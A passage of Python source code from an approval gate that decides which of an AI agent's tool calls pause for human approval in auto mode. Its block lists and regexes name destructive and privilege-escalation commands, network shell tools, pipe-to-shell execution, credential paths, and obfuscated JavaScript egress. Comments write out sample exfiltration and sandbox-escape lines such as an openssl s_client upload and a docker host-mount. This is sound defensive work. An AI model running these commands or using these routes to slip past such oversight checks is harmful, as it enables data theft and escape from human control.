|
return False
|
|
_sql = _SQL_COMMENT_RE.sub(" ", value)
|
|
return (
|
|
bool(_MCP_ARG_MUTATION_RE.search(_sql))
|
|
or bool(_MCP_ARG_SQLITE_MUTATION_RE.search(_sql))
|
|
or bool(_MCP_ARG_SQL_FUNCTION_RE.search(_sql))
|
|
or bool(_GRAPHQL_MUTATION_RE.search(_GRAPHQL_COMMENT_RE.sub(" ", value)))
|
|
)
|
|
if isinstance(value, dict):
|
|
for k, v in value.items():
|
|
if (
|
|
isinstance(k, str)
|
|
and k.lower() in _HTTP_METHOD_KEYS
|
|
and isinstance(v, str)
|
|
and v.strip().upper() in _MUTATING_HTTP_METHODS
|
|
):
|
|
return True
|
|
return any(
|
|
walk(v, in_query or (isinstance(k, str) and k.lower() in _MCP_QUERY_KEYS))
|
|
for k, v in value.items()
|
|
)
|
|
if isinstance(value, (list, tuple)):
|
|
return any(walk(v, in_query) for v in value)
|
|
return False
|
|
|
|
return walk(arguments)
|
|
|
|
|
|
# Tools that are read-only / non state-mutating regardless of their arguments,
|
|
# so auto mode never has to pause them (their safety needs no argument scan).
|
|
# render_html is NOT unconditionally safe: it runs arbitrary HTML/JS in the
|
|
# canvas preview frame. A static canvas (charts, layout, inline SVG) never
|
|
# reaches the network, but code that calls out can exfiltrate or fetch under the
|
|
# preview's CSP when artifact network access is enabled, so those ask; a canvas
|
|
# with no network construct still auto-runs. Matches JS egress APIs, a remote or
|
|
# root-relative <script src>/src=/href=/srcset, a CSS url()/@import that loads a
|
|
# resource, and ws(s) URLs. A leading "/" covers both //host (protocol-relative)
|
|
# and /path (root-relative, which the CSP resolves against the frame origin); a
|
|
# "./x" or bare relative ref and a url(#id)/data: ref are not matched, so an
|
|
# inline-SVG canvas (whose w3.org namespace lives in xmlns=) stays safe.
|
|
_RENDER_HTML_NETWORK_RE = re.compile(
|
|
r"\bfetch\s*\(|"
|
|
r"XMLHttpRequest|"
|
|
r"\bWebSocket\b|"
|
|
r"\bEventSource\b|"
|
|
r"\bsendBeacon\b|"
|
|
r"\bimportScripts\b|"
|
|
r"navigator\s*\.\s*serviceWorker|"
|
|
# new Worker(...) / new SharedWorker(...) run a script off the main thread
|
|
# that this static scan cannot see: a module worker from a CORS-enabled CDN
|
|
# executes remote code, and a blob/same-origin worker can fetch/importScripts
|
|
# to egress, all reachable under worker-src http: https: blob:. Gate the
|
|
# constructor like importScripts/serviceWorker; a var merely named myWorker
|
|
# (no "new") stays static.
|
|
r"\bnew\s+(?:Shared)?Worker\s*\(|"
|
|
r"@import|"
|
|
r"url\(\s*[\"']?\s*(?:https?:|/)|"
|
|
r"<script[^>]*\bsrc\s*=|"
|
|
r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
|
|
# Self-navigation sinks: location.assign/replace(...), window.open(...), and
|
|
# assigning a URL to (window.)location(.href). location.reload()/history.back
|
|
# do not navigate to a new URL, so they stay static.
|
|
r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
|
|
r"\bwindow\s*\.\s*open\s*\(|"
|
|
r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
|
|
# Bracket-access obfuscation: window['fetch'](...), self["open"](...).
|
|
r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
|
|
r"sendBeacon|serviceWorker)[\"']\s*\]|"
|
|
# The same for the navigation sinks: location['assign'](...),
|
|
# location["href"] = URL. Anchored to location (dotted or bracketed) so an
|
|
# ordinary str['replace'](...) or obj['href'] read stays static.
|
|
r"(?:\blocation|\[\s*[\"']location[\"']\s*\])\s*\[\s*[\"'](?:assign|replace)[\"']\s*\]\s*\(|"
|
|
r"(?:\blocation|\[\s*[\"']location[\"']\s*\])\s*\[\s*[\"']href[\"']\s*\]"
|
|
r"\s*=\s*[\"'`]?\s*(?:https?:|/)|"
|
|
# Computed bracket key spliced at runtime on a global host object
|
|
# (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
|
|
# index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
|
|
r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
|
|
r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
|
|
# Declarative meta-refresh navigation to a URL (order-tolerant); a bare
|
|
# content="30" self-reload has no url= and stays static.
|
|
r"<meta\b(?=[^>]*http-equiv\s*=\s*[\"']?\s*refresh)(?=[^>]*\burl\s*=)|"
|
|
r"\bwss?://",
|
|
re.IGNORECASE,
|
|
)
|
|
# Block comments can split an egress token (fetch/*x*/(...)); strip them before
|
|
# matching. Line // comments are left alone -- stripping them would eat the // in
|
|
# an https:// URL and hide a real load.
|
|
_JS_BLOCK_COMMENT_RE = re.compile(r"/\*.*?\*/", re.DOTALL)
|
|
|
|
|
|
def _render_html_reaches_network(arguments: dict) -> bool:
|
|
code = arguments.get("code")
|
|
if not isinstance(code, str):
|
|
return False
|
|
return bool(_RENDER_HTML_NETWORK_RE.search(_JS_BLOCK_COMMENT_RE.sub("", code)))
|
|
|
|
|
|
# Tools that are read-only regardless of their arguments, so auto mode never has
|
|
# to pause them and their safety needs no argument scan. render_html is handled
|
|
# separately above because a networked canvas does need approval.
|
|
_ALWAYS_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
|
|
|
|
|
|
def is_always_safe_tool(name: str) -> bool:
|
|
"""True for tools that never need an auto-mode prompt on any arguments, so a
|
|
caller (e.g. the streaming provisional card) can allow them before the full
|
|
arguments are known. render_html is intentionally excluded: a networked
|
|
canvas needs approval, which cannot be judged before its arguments stream."""
|
|
return name in _ALWAYS_SAFE_TOOLS
|
|
|
|
|
|
# Tools whose provisional card is only a text preview of the arguments, so it can stream
|
|
# while awaiting approval.
|
|
_TEXT_PREVIEW_TOOLS = frozenset({"python", "terminal"})
|
|
|
|
|
|
def has_text_only_provisional_card(name: str) -> bool:
|
|
"""True when streaming this tool's arguments before approval shows only text.
|
|
|
|
A large code payload takes a minute or more to write, and suppressing the
|
|
card until the call completes leaves the chat blank the whole time. Nothing
|
|
runs before the decision either way, and you have to read the code to make
|
|
it.
|
|
"""
|
|
return name in _TEXT_PREVIEW_TOOLS
|
|
|
|
|
|
def is_potentially_unsafe_tool_call(name: str, arguments: dict) -> bool:
|
|
"""Whether a tool call must still pause for approval in auto mode.
|
|
|
|
Used by permission_mode="auto" ("Approve for me"): read-only calls
|
|
auto-run, anything that can mutate state, execute arbitrary code, or is
|
|
simply unrecognized asks first. Unknown tools fail closed.
|
|
"""
|
|
if name in _ALWAYS_SAFE_TOOLS:
|
|
return False
|
|
# render_html auto-runs a static canvas but asks once its HTML/JS reaches the
|
|
# network (fetch/WebSocket/remote script), which can egress under the canvas
|
|
# CSP when artifact network access is enabled.
|
|
if name == "render_html":
|
|
return _render_html_reaches_network(arguments)
|
|
if name.startswith(MCP_TOOL_PREFIX):
|
|
tool_name = name.split("__", 2)[-1]
|
|
# A mutating verb anywhere (get_or_create_issue, read_and_delete)
|
|
# overrides a read-only prefix.
|
|
if _AUTO_UNSAFE_MCP_VERB_RE.search(tool_name):
|
|
return True
|
|
# A credential noun (read_secret, list_tokens, get_credentials) makes a
|
|
# read-named tool a sensitive disclosure, so it asks too.
|
|
if _AUTO_SENSITIVE_MCP_NOUN_RE.search(tool_name):
|
|
return True
|
|
# A read-named fs tool pointed at a credential path is still a
|
|
# sensitive read (mcp__fs__read_file {"path": "/etc/passwd"}).
|
|
if _mcp_arguments_reference_sensitive(arguments):
|
|
return True
|
|
# A read-named tool carrying a mutating query (query_database
|
|
# {"query": "DELETE FROM runs"}) still mutates external state.
|
|
if _mcp_arguments_mutate(arguments):
|
|
return True
|
|
return not _AUTO_SAFE_MCP_TOOL_RE.match(tool_name)
|
|
if name == "terminal":
|
|
return _terminal_is_potentially_unsafe(str(arguments.get("command", "")))
|
|
if name == "python":
|
|
return _python_is_potentially_unsafe(str(arguments.get("code", "")))
|
|
return True
|
|
|
|
|
|
# Terminal commands that are high risk regardless of their arguments, so auto
|
|
# ("Approve for me") pauses them while ordinary dev commands (pip install, mkdir,
|
|
# cp, make, git, ...) run. The hard-block command set, rlimits, secret-env
|
|
# stripping and the per-session scratch workdir stay on beneath this prompt.
|
|
_HIGH_RISK_COMMANDS = frozenset(
|
|
{
|
|
# privilege escalation
|
|
"sudo",
|
|
"su",
|
|
"doas",
|
|
"pkexec",
|
|
# destructive filesystem / storage devices (mkfs* matched by prefix)
|
|
"rm",
|
|
"rmdir",
|
|
"shred",
|
|
"dd",
|
|
"wipefs",
|
|
"fdisk",
|
|
"parted",
|
|
"blkdiscard",
|
|
"chattr",
|
|
"truncate",
|
|
# Windows cmd.exe built-ins that delete files / trees (the terminal
|
|
# executor runs `cmd /c` there, and these are not in _BLOCKED_COMMANDS_WIN)
|
|
"del",
|
|
"erase",
|
|
"rd",
|
|
# Ending a process kills work in progress (a training run, the server
|
|
# itself); a power command ends every process at once.
|
|
"kill",
|
|
"pkill",
|
|
"killall",
|
|
"taskkill",
|
|
"tskill",
|
|
"shutdown",
|
|
"reboot",
|
|
"halt",
|
|
"poweroff",
|
|
# setcap grants file capabilities, a privilege change without sudo.
|
|
"setcap",
|
|
# accounts / persistence / system services
|
|
"crontab",
|
|
# at/batch hand the payload to atd, which runs it later as this user and
|
|
# outside this invocation's blocklist, rlimits, timeout and cancellation.
|
|
"at",
|
|
"batch",
|
|
"atrm",
|
|
"systemctl",
|
|
"service",
|
|
"useradd",
|
|
"userdel",
|
|
"usermod",
|
|
"groupadd",
|
|
"groupdel",
|
|
"groupmod",
|
|
"adduser",
|
|
"deluser",
|
|
"addgroup",
|
|
"delgroup",
|
|
"gpasswd",
|
|
"newusers",
|
|
"chgpasswd",
|
|
"passwd",
|
|
"chpasswd",
|
|
"visudo",
|
|
"chsh",
|
|
# firewall / mounts
|
|
"iptables",
|
|
"ip6tables",
|
|
"nft",
|
|
"ufw",
|
|
"mount",
|
|
"umount",
|
|
# remote exec / raw network transfer
|
|
"ssh",
|
|
"slogin",
|
|
"scp",
|
|
"sftp",
|
|
"telnet",
|
|
"nc",
|
|
"ncat",
|
|
"netcat",
|
|
"socat",
|
|
"ftp",
|
|
"tftp",
|
|
# POSIX unlink(1) deletes a file exactly like rm, which is gated above.
|
|
"unlink",
|
|
# Windows / macOS storage destruction, the platform twins of the POSIX
|
|
# mkfs/wipefs/dd family already gated above.
|
|
"format",
|
|
"diskpart",
|
|
"diskutil",
|
|
# Windows / macOS scheduled tasks, registry and service control: the twins
|
|
# of crontab/systemctl. Gated wholesale (a read-only `reg query` prompts
|
|
# too) because the destructive subcommand lives in the arguments.
|
|
"systemd-run",
|
|
"schtasks",
|
|
"reg",
|
|
"sc",
|
|
"launchctl",
|
|
# container/VM runtimes: the daemon acts with host privileges, so
|
|
# `docker run -v /:/host ...` writes the real filesystem, escaping the
|
|
# child's workdir and rlimit sandbox entirely. chroot/nsenter/unshare
|
|
# cross a privilege or namespace boundary and then exec a nested command,
|
|
# so the wrapper hides the real action.
|
|
"chroot",
|
|
"nsenter",
|
|
"unshare",
|
|
"docker",
|
|
"podman",
|
|
"nerdctl",
|
|
"ctr",
|
|
"crictl",
|
|
"lxc",
|
|
"machinectl",
|
|
"kubectl",
|
|
}
|
|
)
|
|
# sysctl's write and load forms change kernel parameters; a read-only query
|
|
# (sysctl -a, sysctl net.ipv4.ip_forward) stays automatic.
|
|
_SYSCTL_WRITE_FLAGS = frozenset({"-w", "--write", "-p", "--load", "--system"})
|
|
# setpriv changes privilege state and then execs its remaining arguments, so the
|
|
# real command sits behind it. Kept out of _AUTO_SAFE_WRAPPERS (it is not safe in
|
|
# its own right) and instead made transparent only for the high-risk scan, where
|
|
# the flags that raise privilege are gated on their own.
|
|
_PRIVILEGE_EXEC_WRAPPERS = frozenset({"setpriv"})
|
|
_SETPRIV_PRIVILEGE_FLAGS = frozenset(
|
|
{
|
|
"--reuid",
|
|
"--regid",
|
|
"--ruid",
|
|
"--euid",
|
|
"--rgid",
|
|
"--egid",
|
|
"--groups",
|
|
"--init-groups",
|
|
"--inh-caps",
|
|
"--ambient-caps",
|
|
"--bounding-set",
|
|
"--securebits",
|
|
"--selinux-label",
|
|
"--apparmor-profile",
|
|
}
|
|
)
|
|
# fallocate replaces a range with a hole, zeroes it or removes it, destroying
|
|
# file contents in place. Plain allocation (-l SIZE) only grows a file.
|
|
_FALLOCATE_DESTRUCTIVE_FLAGS = frozenset(
|
|
{"-p", "--punch-hole", "-z", "--zero-range", "-c", "--collapse-range", "-d", "--dig-holes"}
|
|
)
|
|
# High risk only with a recursive flag (chmod -R 777 .); a scoped
|
|
# `chmod +x build.sh` stays out.
|
|
_HIGH_RISK_RECURSIVE_COMMANDS = frozenset({"chmod", "chown", "chgrp"})
|
|
# Commands that forward command position to a following command name
|
|
# (find . -exec rm, echo x | xargs rm, parallel rm, watch rm), so the wrapped
|
|
# command is checked against the high-risk sets too.
|
|
_HIGH_RISK_FORWARDING_COMMANDS = frozenset(
|
|
{
|
|
"find",
|
|
"fd",
|
|
"xargs",
|
|
"parallel",
|
|
"watch",
|
|
"strace",
|
|
"ltrace",
|
|
"ktrace",
|
|
"dtruss",
|
|
"perf",
|
|
"valgrind",
|
|
}
|
|
)
|
|
# Of those, find/fd only execute a child after an explicit -exec-style flag.
|
|
# A tracer or profiler runs the rest of the line as a child process, so the
|
|
# real command sits in argument position behind it.
|
|
_TRACER_LAUNCHERS = frozenset({"strace", "ltrace", "ktrace", "dtruss", "perf", "valgrind"})
|
|
_EXEC_FLAG_FORWARDING_COMMANDS = frozenset({"find", "fd"})
|
|
_EXEC_FORWARD_FLAGS = frozenset(
|
|
{"-exec", "-execdir", "-ok", "-okdir", "--exec", "--exec-batch", "-x", "-X"}
|
|
)
|
|
# The long forms also accept the command attached to the flag (fd --exec=rm),
|
|
# where the value is command position rather than a discarded option argument.
|
|
_ATTACHED_EXEC_FLAGS = frozenset({"-exec", "-execdir", "--exec", "--exec-batch"})
|
|
# find/fd flags that delete matches outright (a bare `find . -delete`, with no
|
|
# separate command token to catch); an `-exec rm` is caught via forwarding.
|
|
_HIGH_RISK_FIND_FLAGS = frozenset({"-delete"})
|
|
# Flags whose VALUE is a command the tool then executes, so a payload (even a
|
|
# hard-blocked one) rides inside an argument instead of at command position.
|
|
# GNU tar --checkpoint-action=exec=CMD, rsync/scp -e REMOTE_SHELL.
|
|
_HIGH_RISK_ARG_EXEC_FLAGS = frozenset({"--checkpoint-action", "--rsh", "--rsync-path"})
|
|
# ...but only for the utilities that actually run them; otherwise a mere
|
|
# mention (printf '%s' --rsh, a grep for the flag name) would prompt.
|
|
_ARG_EXEC_FLAG_OWNERS = frozenset({"tar", "gtar", "bsdtar", "rsync", "scp", "sftp"})
|
|
# An interpreter run as a network server (python -m http.server, uvicorn app:api)
|
|
# listens on a socket; the sandbox has no network namespace, so the session
|
|
# workdir becomes reachable wherever that port is exposed. Position-scoped, since
|
|
# a bare mention (pip install uvicorn, grep uvicorn reqs.txt) starts no listener.
|
|
_LISTENER_PY_MODULES = (
|
|
r"http\.server|SimpleHTTPServer|uvicorn|gunicorn|waitress|flask|"
|
|
r"twisted|websockets|aiohttp\.web"
|
|
)
|
|
_LISTENER_PY_MODULE_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*(?:\S*/)?"
|
|
r"(?:python|pypy)[0-9.]*\s+(?:-\S+\s+)*-m\s+(?:" + _LISTENER_PY_MODULES + r")\b",
|
|
re.IGNORECASE,
|
|
)
|
|
# The same modules as the command-position regex, matched after wrapper
|
|
# resolution so `env python -m http.server` and `timeout 60 python -m ...`
|
|
# are seen too.
|
|
_LISTENER_PY_MODULE_NAMES = frozenset(
|
|
{
|
|
"http.server",
|
|
"simplehttpserver",
|
|
"uvicorn",
|
|
"gunicorn",
|
|
"waitress",
|
|
"flask",
|
|
"twisted",
|
|
"websockets",
|
|
"aiohttp.web",
|
|
}
|
|
)
|
|
_LISTENER_BINARIES = frozenset({"uvicorn", "gunicorn", "waitress-serve", "hypercorn", "daphne"})
|
|
_LISTENER_BIN_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
r"(?:uvicorn|gunicorn|waitress-serve|hypercorn|daphne)\b"
|
|
)
|
|
# curl upload/POST flags: local data sent out (exfiltration surface). The short
|
|
# forms may be attached (-d@f, -Ffile=@dump.sql), so they match prefix-wise.
|
|
_CURL_UPLOAD_LONG_FLAGS = frozenset(
|
|
{
|
|
"--data",
|
|
"--data-ascii",
|
|
"--data-binary",
|
|
"--data-raw",
|
|
"--data-urlencode",
|
|
"--form",
|
|
"--upload-file",
|
|
}
|
|
)
|
|
_CURL_UPLOAD_SHORT_FLAGS = ("-d", "-F", "-T")
|
|
# curl's explicit-method flags and the methods that mutate/delete a remote
|
|
# resource (a plain GET download stays out). POST is omitted: it is the ordinary
|
|
# upload verb and is already caught by the body/upload flags above.
|
|
# wget spells the request method --method=DELETE.
|
|
_WGET_METHOD_FLAGS = frozenset({"--method"})
|
|
_CURL_METHOD_FLAGS = frozenset({"-X", "--request"})
|
|
_CURL_DESTRUCTIVE_METHODS = frozenset({"delete", "put", "patch"})
|
|
# wget upload/POST flags. Kept separate from curl's so a benign wget short option
|
|
# (wget -T 10 timeout, wget -F force-html) is not misread as an upload.
|
|
_WGET_UPLOAD_FLAGS = frozenset({"--post-data", "--post-file", "--body-data", "--body-file"})
|
|
# curl/wget output piped straight into an interpreter is remote code execution.
|
|
_PIPE_TO_INTERPRETER_RE = re.compile(
|
|
r"\|\s*(?:sudo\s+)?(?:sh|bash|zsh|dash|ksh|fish|python[0-9.]*|node|ruby|perl|php)\b"
|
|
)
|
|
_BARE_TRUNCATING_REDIRECT_RE = re.compile(r"(?:^|[;&|\n(]|&&|\|\|)\s*(?::|true)?\s*>(?!>)\s*\S")
|
|
_HERESTRING_TO_INTERPRETER_RE = re.compile(
|
|
r"\b(?:sh|bash|zsh|dash|ksh|fish|ash|python[0-9.]*|node|ruby|perl|php)\b[^\n]*<<<"
|
|
)
|
|
# An interpreter that executes a process substitution's output as a script
|
|
# (bash <(printf 'rm -rf x'), source <(...)): the generated content is never
|
|
# literal text, so it is unscreenable and fails closed. A non-interpreter consumer
|
|
# (diff <(sort a) <(sort b)) only reads the file and stays out.
|
|
_PROC_SUBST_EXEC_RE = re.compile(
|
|
r"\b(?:sh|bash|zsh|dash|ksh|fish|ash|source|eval|python[0-9.]*|node|nodejs|bun|ruby|perl|php)\b"
|
|
r"[^\n]*<\("
|
|
r"|(?:^|[;&|\n(]|&&|\|\|)\s*\.\s+<\("
|
|
)
|
|
# Network clients beyond curl/wget that open a socket to a remote host: the
|
|
# sandbox has no network namespace, so they can exfil the workdir or fetch and run
|
|
# remote code. Command position only, so a filename argument (scp ./ssh_notes.txt)
|
|
# is not misread as the command.
|
|
_NETWORK_CLIENT_AT_CMD_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*"
|
|
r"(?:nc|ncat|netcat|telnet|socat|ssh|slogin|scp|sftp)\b"
|
|
)
|
|
# openssl's s_client/s_server open a TLS socket, the classic no-curl exfil channel
|
|
# (tar czf - . | openssl s_client -connect host:443). Plain openssl (dgst, enc) is
|
|
# local and stays out. Matched on the resolved command segment, so the wrapped
|
|
# forms (env openssl s_client) are seen too.
|
|
_OPENSSL_NETWORK_SUBCOMMANDS = frozenset({"s_client", "s_server"})
|
|
# `getent shadow` returns password hashes straight from NSS, so the read
|
|
# never spells out /etc/shadow for the path check to find.
|
|
_GETENT_CREDENTIAL_DATABASES = frozenset({"shadow", "gshadow"})
|
|
_OPENSSL_NETWORK_RE = re.compile(
|
|
r"(?:^|[;&|\n(]|&&|\|\|)\s*(?:[A-Za-z_]\w*=\S*\s+)*(?:\S*/)?openssl\s+s_(?:client|server)\b"
|
|
)
|
|
# An array expansion (${x[*]}, ${x[@]}) builds a command from elements the static
|
|
# scan cannot resolve; fed to a shell -c/eval it runs an unscreened payload.
|
|
# Paired with the var-executed-as-command test so `echo "${a[@]}"` is left alone.
|
|
_ARRAY_EXPANSION_RE = re.compile(r"\$\{\w+\[[@*]\]\}")
|
|
# A wrapper's bare duration/count argument (timeout 5 rm, timeout 1.5s rm) that
|
|
# precedes the real command, so it is not mistaken for the command itself.
|
|
_WRAPPER_DURATION_RE = re.compile(r"\d+(?:\.\d+)?[smhd]?$")
|
|
# Wrapper options whose VALUE is a separate token (env -u NAME, nice -n 5).
|
|
# Without consuming the value it is mistaken for the wrapped command, so
|
|
# `env -u FOO rm -rf x` reads as the command `FOO` and the real `rm` is missed.
|
|
_WRAPPER_VALUE_FLAGS_BY_CMD = {
|
|
# env -i/--ignore-environment is VALUELESS; only -u/--unset takes a name.
|
|
"env": frozenset({"-u", "--unset"}),
|
|
"stdbuf": frozenset({"-i", "--input", "-o", "--output", "-e", "--error"}),
|
|
"timeout": frozenset({"-s", "--signal", "-k", "--kill-after"}),
|
|
"nice": frozenset({"-n", "--adjustment"}),
|
|
"ionice": frozenset({"-c", "--class", "-n", "--classdata", "-p", "--pid"}),
|
|
"xargs": frozenset(
|
|
{"-I", "-L", "-P", "-d", "--delimiter", "-a", "--arg-file", "-n", "-s", "-E"}
|
|
),
|
|
"chroot": frozenset({"--userspec", "--groups"}),
|
|
# setpriv <options> <program>: only the value-taking options consume a token.
|
|
"setpriv": frozenset(
|
|
{
|
|
"--reuid",
|
|
"--regid",
|
|
"--groups",
|
|
"--inh-caps",
|
|
"--ambient-caps",
|
|
"--bounding-set",
|
|
"--securebits",
|
|
"--pdeathsig",
|
|
"--selinux-label",
|
|
"--apparmor-profile",
|
|
"--landlock-access",
|
|
"--landlock-rule",
|
|
}
|
|
),
|
|
# exec -a NAME runs cmd under NAME, so NAME is a value, not the command.
|
|
"exec": frozenset({"-a"}),
|
|
"setsid": frozenset(),
|
|
"nohup": frozenset(),
|
|
}
|
|
# Non-shell interpreters running an inline program (python -c, node -e, php -r):
|
|
# the terminal path never screens that program the way the python tool does.
|
|
# sh/bash -c are omitted, the hard-block already recurses into their payloads.
|
|
_INLINE_CODE_INTERPRETERS = frozenset(
|
|
{
|
|
"python",
|
|
"python2",
|
|
"python3",
|
|
"pypy",
|
|
"pypy3",
|
|
"node",
|
|
"nodejs",
|
|
"deno",
|
|
"bun",
|
|
"ruby",
|
|
"perl",
|
|
"php",
|
|
}
|
|
)
|
|
_INLINE_CODE_FLAGS = frozenset({"-c", "-e", "-E", "-r", "--eval", "--exec"})
|
|
# Inline-code flags are per-interpreter: a flag that evaluates code for one runtime
|
|
# is an ordinary option for another (`python -E` ignores PYTHON* env, it is not
|
|
# eval). Value is (exact flags, short letters that may appear in a cluster).
|
|
_INLINE_CODE_FLAG_SPEC = {
|
|
"python": (frozenset({"-c"}), "c"),
|
|
"pypy": (frozenset({"-c"}), "c"),
|
|
"node": (frozenset({"-e", "--eval"}), "e"),
|
|
"nodejs": (frozenset({"-e", "--eval"}), "e"),
|
|
"deno": (frozenset({"-e", "--eval"}), "e"),
|
|
"bun": (frozenset({"-e", "--eval"}), "e"),
|
|
"ruby": (frozenset({"-e"}), "e"),
|
|
# perl -e and -E both run a one-liner (-E also enables feature bundles).
|
|
"perl": (frozenset({"-e", "-E"}), "eE"),
|
|
# php -r runs code; -B / -R / -E run begin / per-line / end code.
|
|
"php": (frozenset({"-r", "-B", "-R", "-E"}), "rBRE"),
|
|
}
|
|
|
|
|
|
def _inline_code_flag_spec(name: str):
|
|
"""(exact flags, short-cluster letters) that make `name` run inline code."""
|
|
base = name
|
|
if _VERSIONED_INTERPRETER_RE.match(base):
|
|
base = re.sub(r"\d+(?:\.\d+)*$", "", base)
|
|
else:
|
|
base = re.sub(r"^(python|pypy)[23]$", r"\1", base)
|
|
return _INLINE_CODE_FLAG_SPEC.get(base)
|
|
|
|
|
|
# node/bun evaluate and print the argument to -p / --print, arbitrary code just
|
|
# like -e/--eval. Scoped to the JS runtimes: -p is a print-loop switch for
|
|
# perl/ruby/sed, not inline eval.
|
|
_NODE_PRINT_INTERPRETERS = frozenset({"node", "nodejs", "bun"})
|
|
# Runtimes that expose inline evaluation as a SUBCOMMAND (deno eval "...",
|
|
# bun eval "..."), which the flag scan above never sees.
|
|
_EVAL_SUBCOMMAND_INTERPRETERS = frozenset({"deno", "bun"})
|
|
_NODE_PRINT_FLAGS = frozenset({"-p", "--print"})
|
|
# Windows cmd.exe runs the rest of the line as a nested command after /c (or /k),
|
|
# so the payload is screened recursively like a shell -c payload. cmd is not in
|
|
# the hard-block set, and del/erase/rd were added to the high-risk set for it.
|
|
_CMD_SHELLS = frozenset({"cmd"})
|
|
# PowerShell runs an arbitrary inline program passed to -Command /
|
|
# -EncodedCommand (and their unambiguous prefixes), which the terminal path cannot
|
|
# parse. On Windows both names are hard-blocked; elsewhere pwsh is not, so gate an
|
|
# inline-command invocation there. A bare `pwsh script.ps1` file run stays out.
|
|
_POWERSHELL_INTERPRETERS = frozenset({"powershell", "pwsh"})
|
|
# Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are the same
|
|
# inline-code risk as their unversioned names, so recognise the version suffix.
|
|
_VERSIONED_INTERPRETER_RE = re.compile(r"^(?:python|pypy|perl|ruby|php|node)\d+(?:\.\d+)*$")
|
|
# busybox / toybox dispatch to an applet given as the first argument, so the
|
|
# applet, not the multicall binary, is the command whose risk is judged.
|
|
_MULTICALL_BINARIES = frozenset({"busybox", "toybox"})
|
|
# `cd /proc/$PPID; cat environ` reads a sensitive path after the chdir even though
|
|
# no single token spells it out, so a chdir into a sensitive dir is gated.
|
|
_CHDIR_COMMANDS = frozenset({"cd", "pushd", "chdir"})
|
|
# The absolute system dirs are anchored so an unrelated user dir (/home/x/etc)
|
|
# does not match; the credential dotfile dirs match anywhere in the path.
|
|
_SENSITIVE_CHDIR_RE = re.compile(
|
|
r"^~?/proc/[^/\s'\"]+"
|
|
r"|^~?/etc(?:/|$)"
|
|
r"|^~?/root(?:/|$)"
|
|
r"|^~?/(?:var/)?run/secrets(?:/|$)"
|
|
r"|(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube)(?:[/\\]|$)"
|
|
r"|(?:^|[/\\])\.config[/\\](?:gcloud|gh)(?:[/\\]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
def _is_inline_code_interpreter(name: str) -> bool:
|
|
"""True for an interpreter whose ``-c`` / ``-e`` runs an inline program the
|
|
terminal path never screens, including versioned python/pypy binaries."""
|
|
return name in _INLINE_CODE_INTERPRETERS or bool(_VERSIONED_INTERPRETER_RE.match(name))
|
|
|
|
|
|
def _short_flag_cluster(token: str) -> "list[str]":
|
|
"""Split a combined short-option token into its individual flags
|
|
(`-qf` -> ['-q', '-f']). A long option, a `-x=value` form or a bare `-`
|
|
yields nothing, so only genuine clusters are expanded."""
|
|
if len(token) < 3 or not token.startswith("-") or token.startswith("--") or "=" in token:
|
|
return []
|
|
return ["-" + ch for ch in token[1:]]
|
|
|
|
|
|
def _short_flag_arg(token: str, letters: str) -> "str | None":
|
|
"""For a short-flag cluster (``-lc``, ``-Bc``, ``-c``), if one of ``letters``
|
|
appears as a flag in it, return the text glued after that letter -- ``""`` when
|
|
the value is the next token, or the attached payload for ``-c'cmd'``. ``None``
|
|
when no such flag is present, or for long options / non-flags. Catches combined
|
|
forms (``bash -lc 'git clean'``) an exact ``-c`` match would miss."""
|
|
if not token.startswith("-") or token.startswith("--"):
|
|
return None
|
|
body = token[1:]
|
|
for i, ch in enumerate(body):
|
|
if ch in letters:
|
|
return body[i + 1 :]
|
|
return None
|
|
|
|
|
|
# git subcommands that discard or overwrite work: `clean` deletes untracked files,
|
|
# `restore` overwrites the worktree from the index/HEAD, `rm` deletes tracked
|
|
# files, and the plumbing entries delete refs/reflogs/objects or rewrite history.
|
|
# `reset`/`push`/`checkout` only qualify with a destructive flag or pathspec, so
|
|
# `git reset --soft`, a plain `git push` and ordinary git (add/commit/log) run.
|
|
_HIGH_RISK_GIT_SUBCOMMANDS = frozenset(
|
|
{"clean", "restore", "rm", "update-ref", "filter-branch", "prune", "gc", "reflog"}
|
|
)
|
|
_HIGH_RISK_GIT_RESET_FLAGS = frozenset({"--hard"})
|
|
_HIGH_RISK_GIT_PUSH_FLAGS = frozenset(
|
|
# --delete/-d removes a remote ref; --mirror and --prune delete remote refs
|
|
# that are absent locally. All are remote data loss, like a force push.
|
|
{"-f", "--force", "--force-with-lease", "-d", "--delete", "--mirror", "--prune"}
|
|
)
|
|
# `git worktree remove --force` deletes a linked worktree even when it holds
|
|
# uncommitted work or is locked. An unforced remove refuses on a dirty worktree,
|
|
# so it stays out.
|
|
_HIGH_RISK_GIT_WORKTREE_FLAGS = frozenset({"-f", "--force"})
|
|
# `git switch -f/--discard-changes` throws away tracked working-tree edits.
|
|
_HIGH_RISK_GIT_SWITCH_FLAGS = frozenset({"-C", "-f", "--force", "--discard-changes"})
|
|
# `git branch -D` force-deletes a branch, discarding unmerged commits; -M
|
|
# force-renames over an existing branch. Plain -d/--delete refuses to drop
|
|
# unmerged work, so it stays out.
|
|
_HIGH_RISK_GIT_BRANCH_FLAGS = frozenset({"-D", "-M", "-f", "--force"})
|
|
# `git stash clear` / `drop` destroy stashed work with no reflog to recover it.
|
|
_HIGH_RISK_GIT_STASH_ACTIONS = frozenset({"clear", "drop"})
|
|
# `git checkout -- <path>` / `git checkout .` / `git checkout -f` discard tracked
|
|
